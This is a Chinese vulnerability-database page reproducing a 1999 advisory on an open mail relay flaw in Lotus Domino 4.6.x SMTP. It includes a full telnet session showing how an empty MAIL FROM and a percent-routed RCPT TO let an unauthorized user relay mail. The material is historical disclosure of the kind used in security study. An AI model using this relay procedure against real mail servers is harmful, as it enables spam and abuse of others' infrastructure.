Lotus Domino 4.6.1/4.6.4 Notes – SMTPA MTA Mail Relay

漏洞ID	1053401	漏洞类型
发布时间	1999-06-15	更新时间	1999-06-15
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Multiple	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/19368

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/487/info

Lotus Notes SMTP MTA is susceptible to being used as a mail relay for SPAM or other unsolicited email. Connecting to the mail server (tcp25) and issuing a 'mail from' command with <> as the data may allow an unauthorized user to relay email via this server. 

telnet server 25
Connected to 192.168.1.1.
Escape character is '^]'.
220 company.com Lotus SMTP MTA Service Ready
HELO sample.domain
250 company.com
MAIL FROM:<>
250 OK
RCPT TO:<recipient%[email protected]>
250 OK
DATA
From: ... etc

text of message

.
250 Message received OK.
quit
221 GoodBye

相关推荐: NT RAS Phonebook Buffer Overflow Vulnerability

NT RAS Phonebook Buffer Overflow Vulnerability 漏洞ID 1104776 漏洞类型 Boundary Condition Error 发布时间 1999-05-20 更新时间 1999-05-20 CVE编号 N/…